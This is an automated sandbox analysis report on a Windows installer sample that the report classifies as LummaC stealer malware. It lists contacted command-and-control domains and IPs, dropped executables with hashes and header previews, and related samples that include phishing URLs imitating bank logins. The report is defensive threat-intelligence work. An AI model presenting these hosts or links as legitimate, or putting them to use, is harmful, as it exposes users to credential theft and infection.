http://repository.certum.pl/ctnca.cer09	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/TWGCSCA_L1.crl0y	setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://www.certum.pl/CPS0	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
http://crl.certum.pl/cscasha2.crl0q	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://aka..winsvr	powershell.exe, 00000004.00000002.2025410025.0000000007AF4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cscasha2.ocsp-certum.com04	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.32.1	learningypr.click	United States	13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
172.67.208.58	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582503
Start date and time:	2024-12-30 19:09:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@59/15@4/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BrightLib.exe, PID 7584 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7672 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: setup.exe

Simulations

Behavior and APIs

Time	Type	Description
13:10:12	API Interceptor	11x Sleep call for process: setup.exe modified
13:10:29	API Interceptor	16x Sleep call for process: powershell.exe modified
13:11:27	API Interceptor	1x Sleep call for process: BrightLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
185.161.251.21	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse
172.67.208.58	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC	Browse
	does virginia have a no chase law for motorcycles 62848.js	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
klipvumisui.shop	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	#Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
learningypr.click	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.48.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTLGB	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	82.31.53.184
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	62.31.100.59
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	82.37.70.27
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	82.42.160.251
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	163.164.159.5
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	86.17.1.166
CLOUDFLARENETUS	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.64.143
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	#Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.0.151
	https://employeeportal.net-login.com/XL0pFWEloTnBYUmM5TnBUSmVpbWxiSUpWb3BBL1lPY1hwYU5uYktNWkd5ME82bWJMcUhoRklFUWJiVmFOUi9uUS81dGZ4dnJZYkltK2NMZG5BV1pmbFhqMXNZcm1QeXBXTXI4R090NHo5NWhuL2l4TXdxNlY4VlZxWHVPNTdnc1M3aU4xWjhFTmJiTEJWVUYydWVqZjNPbnFkM3M5T0FNQ2lRL3EySjhvdVVDNzZ2UHJQb0xQdlhZbTZRPT0tLTJaT0Z2TlJ3S0NMTTZjc2ktLTZGNUIwRnVkbFRTTHR2dUFITkcxVFE9PQ==?cid=2341891188	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	random.exe	Get hash	malicious	LummaC	Browse	104.21.64.143
	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://chase.com-onlinebanking.com/XWmJkMGsxak5lZzdVZUczR3RxTGFWN1g0Q2NKLy96RURPVEpZbEdkOC9nQzY1TStZSjU0T0x4Q05qOXZBRHZnZTZpMmh2eGFmSm9rcVRmV2xBeENiMEF1V3VTOVAvL2dKemVQZkZGNHAxQ1hqTU9WY0R5SGpYeDQ3UVNtNGZpWDJYdWxBUFY5OUFVc3VFU041aHl6aUxrMlBZaGs1Y25BV0xHL1Vhc1BYNVQ5d3laZ2piV3gvTjlUMmc3QWV4QUs2Q0h6Yi0tZ1lEV1pac1JHRzl5ZFpFaC0tcVVpc09xQzZsUzY0bzY0YWpuS1N2Zz09?cid=2342337857	Get hash	malicious	KnowBe4	Browse	104.18.87.62
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
CLOUDFLARENETUS	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.64.143
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	#Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.0.151
	https://employeeportal.net-login.com/XL0pFWEloTnBYUmM5TnBUSmVpbWxiSUpWb3BBL1lPY1hwYU5uYktNWkd5ME82bWJMcUhoRklFUWJiVmFOUi9uUS81dGZ4dnJZYkltK2NMZG5BV1pmbFhqMXNZcm1QeXBXTXI4R090NHo5NWhuL2l4TXdxNlY4VlZxWHVPNTdnc1M3aU4xWjhFTmJiTEJWVUYydWVqZjNPbnFkM3M5T0FNQ2lRL3EySjhvdVVDNzZ2UHJQb0xQdlhZbTZRPT0tLTJaT0Z2TlJ3S0NMTTZjc2ktLTZGNUIwRnVkbFRTTHR2dUFITkcxVFE9PQ==?cid=2341891188	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	random.exe	Get hash	malicious	LummaC	Browse	104.21.64.143
	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://chase.com-onlinebanking.com/XWmJkMGsxak5lZzdVZUczR3RxTGFWN1g0Q2NKLy96RURPVEpZbEdkOC9nQzY1TStZSjU0T0x4Q05qOXZBRHZnZTZpMmh2eGFmSm9rcVRmV2xBeENiMEF1V3VTOVAvL2dKemVQZkZGNHAxQ1hqTU9WY0R5SGpYeDQ3UVNtNGZpWDJYdWxBUFY5OUFVc3VFU041aHl6aUxrMlBZaGs1Y25BV0xHL1Vhc1BYNVQ5d3laZ2piV3gvTjlUMmc3QWV4QUs2Q0h6Yi0tZ1lEV1pac1JHRzl5ZFpFaC0tcVVpc09xQzZsUzY0bzY0YWpuS1N2Zz09?cid=2342337857	Get hash	malicious	KnowBe4	Browse	104.18.87.62
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	random.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	PI1EA8P74K.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	172.67.208.58 104.21.32.1 185.161.251.21
	universityform.xlsm	Get hash	malicious	Unknown	Browse	172.67.208.58 104.21.32.1 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\2dd37f98

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
File Type:	PNG image data, 3792 x 2093, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6447207
Entropy (8bit):	7.998441497232368
Encrypted:	true
SSDEEP:	196608:sXKjzP/kSY5cPYsvASGkG9166F/KHaj2M:sXKjrMSY5yPoxv/XL
MD5:	B0CB3F07919BEB69B342ED871C6511A9
SHA1:	C23C0B4F9810D50ECB9EA186F57325C7B41DEEBE
SHA-256:	AB4A4A40AA1C1129150AE38AA4F939EB22B4125F6BE8F12251D7C76239B3F8F3
SHA-512:	75BD57701CAC2BE23A9A63AE414F0E019D7C69523F93B3CE6D908B76CC382D84AB1F1C2B085633D39A8E7294C1879601A1A3B03C5871BA0E35A345F559E06AA4
Malicious:	false
Preview:	.PNG........IHDR.......-.....1S.... .IDATx..;..G....+.U={.. .....H.$..gm........1c...&.r....wm..=...-F...W....ft...Y.........~.3+.....\|....?@@...o......\.._@...c....0.e..o..us).-.9~.4..:.H]..R.#M.K.!...#.s...4..G.c.#Zk.#B.s...p......R...PU....HUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@@..a/.?.[ 8.K\|......H..X..T...4.{..c..4..!.^...}X~7.'......uc.$H................\|.{5...Q...,..{..p..]v{....m.]).....[-.{..... !l......V..W k....u....g...$....[%>^.oI.\|.......$.......$.g.@...m.hI~S;.).=...K%..H.T..d"....W.O.J.A..../%..@..J..-...ZW........oz....b.....B..x.1......>q.....[..I>..l...t..I..I..n....s....P..p...C..3..\|.(..<..3r.F7d.#..;..".p..dg.p.#4Mm........}.....A.......

C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	8767044
Entropy (8bit):	7.960152326344281
Encrypted:	false
SSDEEP:	196608:r7B6e1u5SqD6mOefSP01pbtDgGFN6sskirwDODi:roweOFCS8jbtM8N6sjYY
MD5:	51F99EDDD33CC04FB0F55F873B76D907
SHA1:	60CD79359912A9069674CEE3C5C5982A9B01CE82
SHA-256:	16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
SHA-512:	7D2DF781963C8AC8A6F2A86EB95742AA26C932671D31DF8F09E334B2AF5E543EC3FB636ABFA4FB2512EC70126E1B9DB6DC7E9446A2A85BCA53EAFC790668964A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: Set-up.exe, Detection: malicious, Browse Filename: #Setup.exe, Detection: malicious, Browse Filename: installer_1.05_36.5.exe, Detection: malicious, Browse Filename: @Setup.exe, Detection: malicious, Browse Filename: MdhO83N5Fm.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P.......................~..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2odurdwb.dry.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ipkza234.s34.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhsxg22j.fa5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mldtj22x.2en.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Set-up.exe, Detection: malicious, Browse Filename: #Setup.exe, Detection: malicious, Browse Filename: installer_1.05_36.5.exe, Detection: malicious, Browse Filename: @Setup.exe, Detection: malicious, Browse Filename: MdhO83N5Fm.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
